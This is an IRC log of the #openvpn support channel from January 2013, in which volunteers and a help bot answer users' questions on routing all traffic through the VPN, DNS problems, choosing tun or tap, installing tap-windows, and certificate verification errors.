10:23 -!- master_of_master [~master_of@p57B52A2D.dip.t-dialin.net] has joined #openvpn
10:24 -!- Devastator [~devas@unaffiliated/devastator] has left #openvpn []
10:24 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:25 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
10:27 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Client Quit]
10:29 -!- glc_ [~gclark@adsl-99-63-81-249.dsl.chcgil.sbcglobal.net] has joined #openvpn
10:31 -!- glc_ [~gclark@adsl-99-63-81-249.dsl.chcgil.sbcglobal.net] has left #openvpn ["Leaving"]
10:31 -!- swat [~swat@ubuntu/member/swat] has quit [Quit: Leaving.]
10:32 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 260 seconds]
10:32 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
10:40 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
10:44 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 248 seconds]
10:45 -!- Radex [br@debian.pl] has joined #openvpn
10:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:47 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
10:56 -!- Devastator [~devas@177.18.197.67] has joined #openvpn
10:56 -!- Devastator [~devas@177.18.197.67] has quit [Changing host]
10:56 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:57 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
10:59 < thermoman> which question: vpn servers public IP is 1.2.3.4/24 and the vpn server pushes the route 1.2.3.0/24 to the client.
10:59 < thermoman> this works on linux because it sets a host-route to the default gateway
10:59 < thermoman> but not on linux
11:00 < thermoman> can i force windows to set a host-route to it's default-gw so the vpn server is still reachable over public internet where 1.2.3.0/24 is going over the tunnel?
11:01 < thermoman> .
11:01 < thermoman> found it: http://blog.spamt.net/archives/2006/11/02/mit_openvpn_eine_hostroute_auf_den_client_pushen/index.html
11:02 <@vpnHelper> Title: Mit openvpn eine hostroute auf den Client pushen | Stolzer DNS Spammer (at blog.spamt.net)
11:06 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
11:17 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
11:33 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
11:33 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 276 seconds]
11:40 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
11:40 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 248 seconds]
11:46 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
11:46 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
11:46 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
11:49 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
11:54 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
11:57 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Quit: Leaving.]
12:00 -!- ronsel [~ronsel@dslb-088-074-167-187.pools.arcor-ip.net] has quit [Quit: Dieser Computer ist eingeschlafen]
12:01 -!- Netsplit *.net <-> *.split quits: ade_b
12:02 -!- Netsplit *.net <-> *.split quits: js_, colo-work, cherwin, videl, pnielsen, @novaflash, [Xaronic]
12:02 -!- Netsplit over, joins: cherwin, js_, videl, pnielsen
12:02 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has joined #openvpn
12:02 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
12:02 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
12:02 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:02 -!- Netsplit over, joins: [Xaronic]
12:02 -!- Netsplit over, joins: colo-work
12:08 -!- Suterusu1 [~EyeR@host81-156-138-35.range81-156.btcentralplus.com] has joined #openvpn
12:10 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 248 seconds]
12:13 -!- raidz is now known as raidz_away
12:15 -!- exed_ [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
12:17 -!- raidz_away is now known as raidz
12:18 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 276 seconds]
12:19 -!- raidz is now known as raidz_away
12:20 -!- exed_ [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 248 seconds]
12:21 -!- thermoman [~thermoman@idle.foobar0815.de] has left #openvpn [""Wenn der Rechner versteckt ist, kann er von Hackern auch nicht gefunden werden." Antje Weber, Symantec"]
12:21 -!- raidz_away is now known as raidz
12:26 -!- raidz is now known as raidz_away
12:32 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 246 seconds]
12:34 -!- Suterusu1 [~EyeR@host81-156-138-35.range81-156.btcentralplus.com] has quit [Ping timeout: 264 seconds]
12:45 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 256 seconds]
12:48 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
13:00 -!- raidz_away is now known as raidz
13:08 -!- noize91_ [~noize91@83-65-220-227.hallein.xdsl-line.inode.at] has joined #openvpn
13:16 -!- noize91_ [~noize91@83-65-220-227.hallein.xdsl-line.inode.at] has quit [Remote host closed the connection]
13:16 -!- noize91 [~noize91@046-220-005-168.dyn.orange.at] has joined #openvpn
13:22 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 248 seconds]
13:24 -!- swat [~swat@ubuntu/member/swat] has joined #openvpn
13:26 -!- exed [~maximus@ppp-88-217-68-147.dynamic.mnet-online.de] has joined #openvpn
13:29 -!- noize91_ [~noize91@83-65-220-227.hallein.xdsl-line.inode.at] has joined #openvpn
13:29 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
13:31 -!- exed [~maximus@ppp-88-217-68-147.dynamic.mnet-online.de] has quit [Ping timeout: 248 seconds]
13:31 -!- mattock is now known as mattock_afk
13:33 -!- noize91 [~noize91@046-220-005-168.dyn.orange.at] has quit [Ping timeout: 264 seconds]
13:33 -!- noize91_ is now known as noize91
13:35 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
13:40 -!- exed [~maximus@ppp-88-217-68-147.dynamic.mnet-online.de] has joined #openvpn
13:41 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
13:41 -!- exed [~maximus@ppp-88-217-68-147.dynamic.mnet-online.de] has quit [Client Quit]
13:43 -!- noize91 [~noize91@83-65-220-227.hallein.xdsl-line.inode.at] has quit [Ping timeout: 246 seconds]
13:43 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
13:43 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Max SendQ exceeded]
13:44 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
13:44 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Max SendQ exceeded]
13:45 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:45 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 256 seconds]
13:46 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
13:46 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Max SendQ exceeded]
13:47 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
13:51 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 264 seconds]
13:57 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has joined #openvpn
13:57 < CrashTM> hey people
13:57 < CrashTM> anyone home?
13:58 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
14:00 < kunji> There are 163 people in the room, I'm attempting my first install of OpenVPN right now, so I probably can't answer your question, but just post it, don't ask to ask ^_^
14:07 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
14:10 <@dazo> kunji++ :)
14:10 <@dazo> !ask
14:11 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
14:11 <@dazo> CrashTM: ^^^
14:11 < CrashTM> well
14:11 < CrashTM> i got my server running
14:11 < CrashTM> i'm able to connect to it yet my traffic is not routed through my vpn
14:13 < CrashTM> anyone?
14:13 <@ecrist> kunji++
14:14 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
14:15 < CrashTM> >.>
14:20 <@krzee> kunji++
14:20 <@krzee> 3 karma points for a well placed statement!
14:21  * krzee high 5's kunji 
14:21 <@krzee> CrashTM,
14:21 <@krzee> !redirect
14:21 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:21 <@vpnHelper> http://ircpimps.org/redirect.png
14:26 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
14:26 < wh1p> crashtm :?
14:26 < CrashTM> ok
14:26 < CrashTM> it is a dns problem
14:26 < CrashTM> i CAN ping 8.8.8.8 but i cannot ping google.com
14:27 <@krzee> well there ya go
14:27 <@krzee> glad to help =]
14:27  * krzee loves those flowcharts!
14:31 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
14:31 <@ecrist> krzee: you should consider rewriting them in graphiz or something editable
14:32 <@ecrist> because the ARE epic
14:32 <@krzee> thanks, not a bad idea… it'll have to wait til after my travels though
14:32 <@krzee> im in vegas right now, headed to all of california
14:32 <@ecrist> nice
14:32 <@krzee> testing 4 different wifi hotspots with my darknet voip service
14:33 <@ecrist> nice
14:33 <@ecrist> how's that project going?
14:33 <@krzee> fantastic
14:33 <@krzee> so far verizon is the best in vegas, but t-mobile is a near second
14:35 <@ecrist> non-LTE, and moving, tmo is best, imho
14:35 <@krzee> i suspect it will vary from area to area, which is why i bought 4
14:35 < kunji> Wow, thanks for the karma, first time that's happened to me on IRC ^_^, small question here, in the sample server.conf files is the function of ";" the same as of "#", that is, is it for a commented line?
14:36 <@krzee> kunji, yes
14:36 < kunji> krzee: cool, thanks
14:36 <@krzee> np
14:36 < CrashTM> thanks
14:36 <@ecrist> kunji: those are all standard comment delimiters
14:36 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has quit [Quit: Leaving]
14:37 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 248 seconds]
14:51 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
14:51 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
14:51 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
14:53 -!- swat [~swat@ubuntu/member/swat] has quit [Ping timeout: 245 seconds]
15:05 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 276 seconds]
15:06 -!- brute11k [~brute11k@89.249.235.33] has quit [Quit: Leaving.]
15:11 -!- krzee [nobody@openvpn/community/support/krzee] has left #openvpn ["Leaving"]
15:20 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Ping timeout: 244 seconds]
15:22 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
15:27 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Ping timeout: 240 seconds]
15:30 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
15:43 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:52 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
16:05 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.89 [Firefox 17.0.1/20121128204232]]
16:11 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
16:14 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 276 seconds]
16:14 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.225.wb.wifirst.net] has joined #openvpn
16:19 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit []
16:24 -!- B4ub [~b4ub@178.73.210.252] has joined #openvpn
16:25 -!- dazo is now known as dazo_afk
16:26 < B4ub> Ohai everybody !
16:27 < B4ub> I'm using the 443 port (1194 is blocked), but the traffic is completely jammed on this port, which port do you think I can use ?
16:33 -!- moore1 [~moore@50.7.199.107] has joined #openvpn
16:35 < moore1> please i need help on this, i have openvpn server but my clients keeping on getting the same ip from it even after disconnecting and connecting back again
16:35 < moore1> what actually am i missing out to include ?
16:43 -!- B4ub [~b4ub@178.73.210.252] has quit [Remote host closed the connection]
16:46 -!- exed [~maximus@ppp-88-217-68-147.dynamic.mnet-online.de] has joined #openvpn
16:47 -!- exed [~maximus@ppp-88-217-68-147.dynamic.mnet-online.de] has quit [Client Quit]
16:47 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 264 seconds]
16:48 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.225.wb.wifirst.net] has quit [Ping timeout: 264 seconds]
16:50 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
17:02 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
17:13 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 246 seconds]
17:14 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:15 -!- bandroidx [~bandroidx@2607:f358:1:fed5:4:0:414:11] has quit [Excess Flood]
17:18 -!- bandroidx [~bandroidx@2607:f358:1:fed5:4:0:414:11] has joined #openvpn
17:20 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
17:20 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has joined #openvpn
17:24 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 252 seconds]
17:27 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has joined #openvpn
17:30 -!- moore1 [~moore@50.7.199.107] has quit [Ping timeout: 265 seconds]
17:31 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 276 seconds]
17:32 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
17:32 -!- moore1 [~moore@vs749.rosehosting.com] has joined #openvpn
17:59 -!- moore1 [~moore@vs749.rosehosting.com] has quit [Ping timeout: 248 seconds]
18:00 -!- moore1 [~moore@50.7.199.107] has joined #openvpn
18:20 -!- moore1 [~moore@50.7.199.107] has quit [Ping timeout: 245 seconds]
18:23 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Read error: Connection reset by peer]
18:30 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
18:35 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has quit [Quit: leaving]
18:37 -!- raidz is now known as raidz_away
18:42 -!- mdw [~mdw@cpc8-dals18-2-0-cust303.hari.cable.virginmedia.com] has quit [Read error: Operation timed out]
18:43 -!- mdw [~mdw@cpc8-dals18-2-0-cust303.hari.cable.virginmedia.com] has joined #openvpn
18:46 -!- raidz_away is now known as raidz
19:13 < kunji> moore1: Aren't they supposed to get the same ips?  Unless you have an extremely short DHCP lease time.  That's all I know about it though, I'm not even sure what OpenVPN uses to handle DHCP, let alone where/if you could change the lease time.
19:15 < kunji> Is there an easy way to check that OpenVPN is working correctly if I'm connecting from inside my network?  It seems to be working, but I was hoping I could verify it for sure without having to go anywhere :P
19:15 <+pekster> (s)he is gone
19:17 < kunji> pekster: Yeah, whoops, I glanced through and saw a leave and came back, didn't notice the second leaving.
19:26 -!- raidz is now known as raidz_away
19:43 < kunji> Hmm, so I'm trying to send all traffic over the vpn connection.  I have set push "redirect-gateway local def1 bypass-dhcp" on the server side, but it seems like my traffic isn't passing through the server.  At least I don't see any spike in network traffic when watching the system monitor, even when downloading 720p video on Youtube, not really sure where to go from here.
19:46 <+pekster> If you're doing it from inside your network, that's expected behaviour because you still have a link-local route
19:47 < kunji> pekster: Oh, I guess I was thinking that's what the local bit was for, so I guess I'll just need to wait until I actually go elsewhere to try this.
19:47 <+pekster> The redirect-gateway impacts sources you don't have a route for, not local stuff (which alwyas prefers your locally-connected route)
19:48 <+pekster> s/sources/destinations/
19:48 < kunji> pekster: Can I change that on the client side then?
19:48 <+pekster> Change what?
19:49 < kunji> pekster: For it to route everything through the vpn, Ubuntu used to do this, maybe still does, but I'm trying with a windows client right now and frankly windows and I don't play nice together with this kind of stuff.
19:50 <+pekster> The redirect-gateway OpenVPN option does the same thing on both OSs
19:51 < kunji> pekster: Right, I was asking if there was something else I could do to make it happen, maybe changing the local routing table?
19:52 <+pekster> What do you mean "make it happen" ? If you pass that parameter, it is working. When the client & server are on the same network, it proably won't do what you expect (at least without ugly NAT tricks) becuase the LAN's default gateway (the real gateway) will just send the return traffic directly back to the client
19:53 <+pekster> Unless you have errors in your log file about failed route commands, the redirect-gateway is doing exactly what it's supposed to
19:58 < kunji> pekster: I'm not saying that it isn't doing what it's supposed to, just that what it's supposed to do isn't what I was hoping to have happen.  I want all of my traffic to pass through the vpn, not necessarily when I'm on the same network as now, but at least for when I'm on a different network.  I just need it so that when I'm not on my network, that ALL traffic passes through the vpn, I can't have it being ambiguous whether or not my traf
20:00 <+pekster> Okay, you obvoiusly can't have "all" traffic, since the VPN traffic (the encrypted packets) need to go to the VPN server. And anything on a link-local network won't get redirected either, since that's a smaller (ie: more specific route.) However, eveyrthing else will be, as long as the VPN is up. Once it goes down, packets instantly go back to their usual paths
20:00 <+pekster> If any of those exceptions are problems for your setup, I'd suggest using a firewall to suplement the VPN operation to gaurentee expected operation
20:06 < kunji> pekster: Hmm, so you're saying that it does work as I expected so long as I am not on the local network and the VPN is up?  Well, it shouldn't be hard to verify once I go get on a different network.  The description originally sounded more complete than that, even stating the caveat that if your DHCP lease expires you could lose your connection because even the DHCP requests would be routed over the VPN.  I would have thought that the DHCP
20:09 <+pekster> Being on the local network merely impacts the route reply traffic takes, *unless* you are perform source-NAT on packets from VPN clients flowing through the server
20:10 <+pekster> Externally, you need to NAT traffic since you're presumably using private IPs
20:11 <+pekster> !redirect
20:11 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
20:11 <@vpnHelper> http://ircpimps.org/redirect.png
20:11 <+pekster> kunji: There's a handy explanation and flowchart for you to follow
20:13 < kunji> pekster: you mean the vpn server's public ip, right?  So the ip my modem receives... which is indistinguishable for me right now because I am on the local network.  But like I was saying it will be easy to check later once I'm on a different network.
20:14 < kunji> pekster: interesting though I have not enabled ip forwarding, but can ping google.com, you don't need it enabled if you're bridging do you?
20:14 <+pekster> You're briding to your own local network? Don't do that...
20:15 < kunji> pekster: Hmm, why not?
20:15 <+pekster> Well, at least cocnnecting from inside doesn't do you any good what-so-ever
20:15 <+pekster> You just have a "2nd" IP address on the same network. Really pointless
20:16 < kunji> pekster: I know, it's for use from outside, I was just trying to do what testing I can from here, since I'm here now.
20:16 <+pekster> If you're trying to redirect traffic, you should probably be using routing (tun) anyway
20:16 <+pekster> You can't test it at all because of your setup. You could partially test if if you were using tun, not tap
20:16 <+pekster> !tunortap
20:16 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
20:16 <@vpnHelper> over the vpn or (#4) lan gaming? use tap!
20:16 <+pekster> You really don't want tap for this
20:16 < kunji> But tun won't do for LAN gaming no?  It doesn't do broadcast.
20:17 <+pekster> You never mentioned anything about games requiring broadcasts, just redirecting remote traffic
20:17 <+pekster> My supply of crystal balls is running low
20:18 < kunji> pekster: Sorry man, I didn't mention the games because they're secondary, the primary concern is the remote traffic.  Maybe I should just run 2 instances?
20:18 <+pekster> That might be easier, just to keep things nicely separated. tap VPNs are more complex since you're invovling both the VPN server and the network you're bridiging too
20:19 <+pekster> Many people mistakenly believe that since it's becomming a part of the existing network that it is easier, but they're ignoring the subtle complexities of combining routing requirements with an Ethernet-layer bridge
20:19 <+pekster> Ideally, just turn on IP forwarding, NAT if you're not using public IP space, and use a routed setup when you want to redirect Internet traffic (it's generally cleaner)
20:20 <+pekster> Normally I hate NAT-based solutions, but I assume your local network is *already* doing NAT upstream, so it's a wash either way
20:20 < kunji> pekster: Yeah, that's very much like what I used to do with pptp.
20:20 <+pekster> Also think of this: do you really want all your "gaming" VPN clients to send *all* their upstream traffic (from youtube, bittorrent, downloading linux distros, etc, etc) through your connection?
20:21 < kunji> pekster: Well, for the gaming bit, it would just be for a few friends, so we're taking like 3 connections for something like Age of Empires II for a few hours.
20:22 < kunji> pekster: So it wouldn't be bad, but well, I'm going to experiment a few days, and then I'll come back and bother you if it's not working out :P
20:23 <+pekster> It could be awful if you're using the same 'redirect-gateway' setup there
20:23 <+pekster> Do you have your friends stop any other downloads they might be doing before joining? Just run 2 separate VPNs and I suspect you'll be a lot happier
20:23 <+pekster> Or, what if they join and end up doing a huge steam update? That all gets redirected if you've asked it to ;)
20:24 < kunji> pekster: Their own internets aren't very good, they already shut everything else off when we game, sometimes they even stay off Skype and we have to type all game.
20:29 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
20:53 -!- Guest29478 [~cosmicgat@113.210.100.30] has joined #openvpn
21:26 -!- Guest29478 [~cosmicgat@113.210.100.30] has left #openvpn []
22:05 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Quit: Leaving]
22:08 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
23:13 -!- MaxeyPad_ [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has quit [Ping timeout: 255 seconds]
23:22 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
23:39 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
--- Day changed Fri Jan 11 2013
00:04 -!- eN_Joy [~eN_Joy@jindan.chem.ou.edu] has quit [Ping timeout: 246 seconds]
00:06 -!- eN_Joy [~eN_Joy@jindan.chem.ou.edu] has joined #openvpn
00:13 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has quit [Quit: Computer has gone to sleep.]
00:30 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has joined #openvpn
00:33 -!- moore1 [~moore@50.7.199.107] has joined #openvpn
00:33 -!- moore1 [~moore@50.7.199.107] has left #openvpn []
00:43 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 264 seconds]
00:58 -!- mattock_afk is now known as mattock
01:21 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
01:25 -!- brute11k [~brute11k@89.249.235.33] has joined #openvpn
01:27 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
01:32 -!- brute11k [~brute11k@89.249.235.33] has quit [Quit: Leaving.]
01:35 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
01:35 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
02:02 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
02:04 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
02:36 -!- PeppiX [~PeppiX@89-96-212-226.ip14.fastwebnet.it] has joined #openvpn
02:37 -!- swat [~swat@ubuntu/member/swat] has joined #openvpn
02:38 < PeppiX> hi all
02:38 < PeppiX> I've a question about the last openvpn release (2.3.0)
02:39 < PeppiX> it's not presente the addtap binary
02:39 < PeppiX> how can I add another tap ?
02:39 <+pekster> PeppiX: That's a batch script, not a binary, and you need to install the 'tap-windows.exe' program that should be present in your .\bin\ path releative to your install dir
02:39 <+pekster> When you install it, just overwrite the default location (which should already exist) and select the 'Utilities' option that's unchecked by default
02:40 <+pekster> It's on my todo list to submit a patch to the developers so that's installed by default, but it was removed early on in the 2.3 pre-release cycle :\
02:41 -!- zamba [marius@flage.org] has joined #openvpn
02:42 < zamba> when trying to establish a openvpn connection i get the following error:
02:42 < PeppiX> @pekster: thanks
02:42 < zamba> VERIFY ERROR: depth=1, error=self signed certificate in certificate chain: /C=KG/ST=NA/L......
02:43 < zamba> TLS_ERROR: BIO read tls_read_plaintext error: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
02:43 < PeppiX> the problem is that I haven't 'tap-windows.exe' in bin (under openvpn)
02:43 < zamba> http://pastie.org/5666688
02:43 < zamba> here's the full error
02:43 < PeppiX> I try again the install with 'options' checked :)
02:45 <+pekster> PeppiX: If you bust open the 'openvpn-install-2.3.0-I001-*.exe' file (* will vary depending on the 32 or 64-bit version) with 7-zip, that installer will also be present in the .\$TEMP\ dir. But I've confirmed it gets installed at <install-path>\bin\tap-windows.exe in the official 2.3.0 release
02:46 <+pekster> However, in the rc1 and rc2 releases, the installer is *not* present at .\bin\ of the installed program, and only present in the openvpn installer via 7-zip or some other decompressor
02:48 <+pekster> zamba: Looks like the CA file in your config on the side that gives you that 'VERIFY ERROR' message can't tie the certificate the remote peer is presenting to the referenced CA
02:50 <+pekster> The certificate used by the remote peer must be signed by the CA you have a public key for (the CA certificate) on the system performing the verification
02:50 <+pekster> !certverify
02:50 <@vpnHelper> "certverify" is (#1) verify your certs are signed correctly by running `openssl verify -CAfile <ca.crt> <client.crt>` for client.crt and server.crt or (#2) also make sure you use the same ca.crt on both sides by checking their md5
02:51 <+pekster> ^^ zamba, maybe that's helpful?
02:51 < zamba> pekster: ok, i'll check it out
02:51 < zamba> thanks :)
02:51 <+pekster> Here's more generic information:
02:51 <+pekster> !pki
02:51 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
02:51 <@vpnHelper> signed specially as a server (see !servercert)
02:58 < PeppiX> @pekster I've extracted openvpn-install-2.3.0-I001-*.exe with 7-zip and I found tap-windows.exe
02:58 < PeppiX> now...to add another tap do I have to launch and install tap-windows.exe?
02:59 <+pekster> That's just an installer; the openvpn project installer already installed 'tap-windows' for you, but you need to *reinstall* with the optional "utilities" checkbox checked, which will give you the missing batch scripts
02:59 <+pekster> It's an annoyance that 2.3.0 removed it by default
03:00 < PeppiX> oh yeees
03:00 < PeppiX> done :)
03:00 < PeppiX> now I have 2 tap
03:00 < PeppiX> so I can use 2 vpn-certificate at the same time
03:00 < PeppiX> thanks a lot :L)
03:01 <+pekster> No problem :)
03:02 -!- PeppiX [~PeppiX@89-96-212-226.ip14.fastwebnet.it] has quit []
03:03 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 265 seconds]
03:32 -!- dazo_afk is now known as dazo
03:55 -!- folivora [~out@46.19.34.64] has quit [Read error: Connection reset by peer]
03:55 -!- folivora_ [~out@46.19.34.64] has joined #openvpn
04:04 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 264 seconds]
04:06 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 276 seconds]
04:32 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Remote host closed the connection]
04:48 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 276 seconds]
04:55 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
04:58 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Read error: Operation timed out]
05:06 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
05:12 -!- pie__ [~pie_@94-21-58-185.pool.digikabel.hu] has joined #openvpn
